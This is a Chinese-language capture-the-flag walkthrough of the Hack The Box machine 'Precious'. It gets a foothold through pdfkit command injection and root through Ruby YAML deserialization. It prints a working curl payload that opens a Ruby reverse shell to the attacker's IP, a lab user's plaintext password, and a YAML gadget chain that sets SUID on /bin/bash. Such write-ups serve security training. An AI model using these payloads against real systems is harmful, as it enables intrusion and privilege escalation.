htb_Precious:10.10.11.189
非常简单~
kali攻击机网络配置
能ping通靶机,可以开始啦
端口扫描
nmap -A 10.10.11.189
开放了80,22端口
访问80端口,浏览器显示域名解析错误
解决方法:
kali攻击机设置本地域名解析
vim /etc/hosts
这个网站可以将我们传上去的web目录转为pdf
先看看源码,没发现
目录扫描,一无所获
子域名爆破,依旧一无所获
那就只能从这个网站的功能入手了,尝试将本地web目录转为pdf查看
kali开启http服务
python3 -m http.server 80
写入本地url
转换成功后会直接跳转到pdf,但是不知道为啥是空白一片的
右键保存pdf到本地
exiftool
可以用于读取各种文件的元数据
这里我们使用exiftool来解析pdf
发现pdfkit v0.8.6
查找cve
漏洞利用脚本
修改脚本中加粗的部分
curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.16.62%3A80%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.62%22%2C6666%29%29%27%60'
kali开启监听
执行脚本
连上了!
目录探测
在根目录下发现.bundle
目录
发现config配置文件,是henry的账号密码
henry Q3c1AqGHtoI0aXAYFH
切换用户
henry的用户目录下发现flag
查看root命令
sudo -l
cat update_dependencies.rb
这段代码的作用是比较已安装的依赖库和一个名为 “dependencies.yml” 的文件中指定的依赖库。
“dependencies.yml” 文件是一个 YAML格式的文件,其中包含依赖库的名称和版本号,用于确保开发环境中安装的依赖库版本与项目的依赖库版本相匹配。代码中,首先使用 Ruby 的 YAML 库读取 “dependencies.yml” 文件,并使用 RubyGems
库获取本地已安装的所有依赖库及其版本信息。然后,代码使用嵌套循环来比较本地已安装的每个依赖库的名称和版本号,与 “dependencies.yml” 文件中指定的每个依赖库的名称和版本号进行匹配。如果本地已安装的依赖库版本与指定的版本不匹配,则输出警告消息,指出已安装的依赖库版本与 “dependencies.yml” 文件中指定的版本不同。如果版本匹配,则输出信息,指出已安装的依赖库版本与
“dependencies.yml” 文件中指定的版本相同。
找到一个漏洞利用脚本
Ruby Privilege Escalation | Exploit Notes (hdks.org)
给/bin/bash添加suid权限
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
cd /home/henry
ls
sudo /usr/bin/ruby /opt/update_dependencies.rb
bash -p
提权成功
o了 😃